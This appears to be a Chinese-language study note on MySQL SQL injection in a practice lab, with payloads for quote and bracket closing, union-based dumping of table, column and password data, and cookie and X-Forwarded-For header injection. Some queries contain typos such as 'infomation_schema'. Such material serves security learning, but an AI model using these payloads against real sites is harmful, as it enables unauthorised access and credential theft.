补充:​​MySQL注释方法​

文章目录

MySQL注入

基本介绍

字符型

有这几种常见情况,闭合SQL语句,再插入我们需要的sql语句

$sql="SELECT * FROM users WHERE id= '$id'";
闭合前面的单引号把后面的单引号注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=(('$id' ))
闭合单引号,闭合两个括号把后面的都注释掉跟上sql语句
$sql="SELECT * FROM users WHERE id=('$id')";
闭合单引号,闭合括号把后面的都注释掉跟上sql语句
$id ='"'.$id.'"'
$sql = "SELECT * FROM users WHERE id = $id";
闭合前面的双引号再注释后面的双引号
$id = '("'.$id.'")';
$sql = "SELECT * FROM users WHERE id = $id";

数字型

字符型和数字型的区别在于接受的参数id的类型和数据库中id的字段类型
其实和字符型的注入方式是一样的,不必过度纠结于两者具体的区别

$sql="SELECT * FROM users WHERE id=$id";

搜索型

就是post型的提交方式

SQL注入之MySQL注入学习笔记(二)_单引号

Cookie注入

SQL注入之MySQL注入学习笔记(二)_sql_02

HTTP头注入

X-Forwarded-For

X-Forwarded-For是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。类似的还有如下几种

X-Originating-IP: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

Client-IP: 127.0.0.1

User-agent

用户代理(user agent)是记录软件程序的客户端信息的HTTP头字段,他可以用来统计目标和违规协议。在HTTP头中应该包含它,这个字段的第一个空格前面是软件的产品名称,后面有一个可选的斜杠和版本号。并不是所有的应用程序都会被获取到user-agent信息,但是有些应用程序利用它存储一些信息(如:购物车)。在这种情况下,我们就有必要研究下user-agent头存在的问题了。

Referer

Referer是另外一个当应用程序没有过滤存储到数据库时,容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段,通过它我们可以获取到提交请求URI的服务器情况。

SQL注入之MySQL注入学习笔记(二)_sql语句_03

具体实例

数字型注入

一般类型

因为不知道接收的id是1或者是"1"的形式我们先当成数字型注入

如何判断:'url?id=1+1’如果成功返回数据则为数字型注入​​+​​​=​​%2b​

SQL注入之MySQL注入学习笔记(二)_sql_04


首先查字段

url?id = 1 order by 3 不报错

url?id = 1 order by 4 报错

所以有三个字段

接下来使用联合查询:​​url?id = 1 union select 1,2,3​

SQL注入之MySQL注入学习笔记(二)_sql_05


查当前数据库名,版本,用户

​url?id = 1 union select database(),version(),user()​

SQL注入之MySQL注入学习笔记(二)_单引号_06


查询有什么表

​url?id = 1 union select 1,2,table_name from infomation_schema.tables where table_schema = database()​

SQL注入之MySQL注入学习笔记(二)_sql语句_07


查询列名:

​url?id = 1 union select 1,2,column_name from infomation_schema.columns where table_table = 'users'​

SQL注入之MySQL注入学习笔记(二)_单引号_08


查询数据:

​url?id = 1 union select id,username,password from users​

SQL注入之MySQL注入学习笔记(二)_sql_09

被单引号包裹起来的

SQL注入之MySQL注入学习笔记(二)_单引号_10


SQL注入之MySQL注入学习笔记(二)_sql语句_11


在之后我们拼接and 1=1 and 1= 2,发现没有报错

SQL注入之MySQL注入学习笔记(二)_sql_12


之后加上​​id = 1'​​单引号后报错,不正常说明sql语句可控

在Mysql中​​--+​​​代表注释此时​​id = 1'--+​​成功执行

SQL注入之MySQL注入学习笔记(二)_sql语句_13


之后插上​​id = 1 and 1=2'-- +​​不正常,即可食用之后类似上面一般类型

双引号加小括号包裹

SQL注入之MySQL注入学习笔记(二)_sql_14


首先查看​​id = 1​

SQL注入之MySQL注入学习笔记(二)_sql语句_15


类似上面​​?id = 1') and 1 = 2-- +​​发现1=1和1=2成功执行

两个括号

SQL注入之MySQL注入学习笔记(二)_单引号_16


SQL注入之MySQL注入学习笔记(二)_sql语句_17


采用​​? id = 1')) union select 1,2,3 -- +​

字符型注入

如果在url后拼接​​?id=1 and 1=1​​​or​​and 1=2​​​分别正确错误则说明为字符型注入
注入方式和数字型类似

搜索型注入

SQL注入之MySQL注入学习笔记(二)_sql语句_18


%代表%前面可以有字符后面也可以有

配合HackBar食用

SQL注入之MySQL注入学习笔记(二)_sql_19


post数据​​name = a' union select 1,2,3 -- +​

Cookie注入

SQL注入之MySQL注入学习笔记(二)_sql语句_20


配合Burp使用

SQL注入之MySQL注入学习笔记(二)_sql_21


改为​​Cookie: uid = 1 union select 1,2,3​

HTTP头注入

SQL注入之MySQL注入学习笔记(二)_sql_22


SQL注入之MySQL注入学习笔记(二)_sql语句_23

配合Burp食用

SQL注入之MySQL注入学习笔记(二)_sql语句_24


添加XFF头

SQL注入之MySQL注入学习笔记(二)_单引号_25


完美成功!!!

​127.0.0.1' order by 4-- +​​成功,配合联合查询即可!!!

SQL注入之MySQL注入学习笔记(二)_sql_26


看图

SQL注入之MySQL注入学习笔记(二)_sql_27